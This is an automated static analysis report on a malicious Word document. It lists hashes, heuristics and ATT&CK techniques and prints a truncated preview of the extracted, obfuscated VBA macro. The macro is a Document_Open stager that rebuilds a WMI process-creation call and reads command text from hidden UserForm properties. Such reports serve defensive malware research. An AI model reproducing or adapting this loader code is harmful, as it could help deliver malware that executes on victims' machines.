Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae1d219733af2018…

MALICIOUS

Office (OLE)

173.4 KB Created: 2020-08-18 22:51:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: f616e1c4e789daa36fb3630ec7bc4fa7 SHA-1: fb5000b038447bc0f7425c1fd755dd92a4aeb8d4 SHA-256: ae1d219733af20187d24ded2da3d6d72773f583176b598864cd355700a9ce4cb
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro and 'CreateObject' calls, along with a hidden UserForm stager, indicate an attempt to execute code. The ClamAV detection 'Doc.Malware.Sagent-9376736-0' further confirms its malicious nature. The VBA code appears to be obfuscated but suggests a downloader or stager functionality.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9376736-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9376736-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11000 bytes
SHA-256: 8a2a6f3124c735acb6a44eb91508d5f68f982f6858ce165a3ad12f3ef4a24919
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "P0aolma9q221x275l"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ihc77xzdc5x904.Wvvq6f5v8b2372w
End Sub


Attribute VB_Name = "Ihc77xzdc5x904"
Attribute VB_Base = "0{FA5A090B-70F3-4A16-B7A5-0DBF623278F7}{C36ADCCC-95CF-4236-B794-800654275D70}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Wvvq6f5v8b2372w()
   For W18mfrweiy63ezlsn = 5 To 62
DoEvents
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Next W18mfrweiy63ezlsn
J71goifismv4ngh = 457
Tbydr91tvqjkubw = 370
J71goifismv4ngh = J71goifismv4ngh + Tbydr91tvqjkubw
Nkjlo96c0ntktdu = J71goifismv4ngh
Wj4c09itvjs55g = Ihc77xzdc5x904.HelpContextId + 50 + 50
   For W18mfrweiy63ezlsn = 5 To 62
DoEvents
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Next W18mfrweiy63ezlsn
J71goifismv4ngh = 382
Tbydr91tvqjkubw = 42
J71goifismv4ngh = J71goifismv4ngh + Tbydr91tvqjkubw
Gd0yr2nlpqzk = J71goifismv4ngh
A___mi26w2c0 = ChrW(Wj4c09itvjs55g + (15))
   For W18mfrweiy63ezlsn = 5 To 62
DoEvents
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Next W18mfrweiy63ezlsn
J71goifismv4ngh = 109
Tbydr91tvqjkubw = 915
J71goifismv4ngh = J71goifismv4ngh + Tbydr91tvqjkubw
Gcr5e463nskc5netf = J71goifismv4ngh
Ix4edbz29a1d7l = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + A___mi26w2c0 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Ihc77xzdc5x904.Ylhu5s99tef6 + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For W18mfrweiy63ezlsn = 5 To 62
DoEvents
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Next W18mfrweiy63ezlsn
J71goifismv4ngh = 351
Tbydr91tvqjkubw = 884
J71goifismv4ngh = J71goifismv4ngh + Tbydr91tvqjkubw
Jw5zvvokx7px = J71goifismv4ngh
B5f4hn_smh8 = Ii54tpcn04tyti8d8(Ix4edbz29a1d7l)
   For W18mfrweiy63ezlsn = 5 To 62
DoEvents
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Next W18mfrweiy63ezlsn
J71goifismv4ngh = 865
Tbydr91tvqjkubw = 422
J71goifismv4ngh = J71goifismv4ngh + Tbydr91tvqjkubw
Bfglzicb6sjyjf = J71goifismv4ngh
Set F6hjuc1722e8jrk = CreateObject(B5f4hn_smh8)
   For W18mfrweiy63ezlsn = 5 To 62
DoEvents
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Next W18mfrweiy63ezlsn
J71goifismv4ngh = 426
Tbydr91tvqjkubw = 881
J71goifismv4ngh = J71goifismv4ngh + Tbydr91tvqjkubw
Y1xlqm17yf0tyl = J71goifismv4ngh
Hwsrcsnw2vqx = Ihc77xzdc5x904.Brznqh0thrdja.ControlTipText
   For W18mfrweiy63ezlsn = 5 To 62
DoEvents
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof2mponiwsscl) & CStr(Plr0sezv92k2))
Debug.Print (CStr(Tof
... (truncated)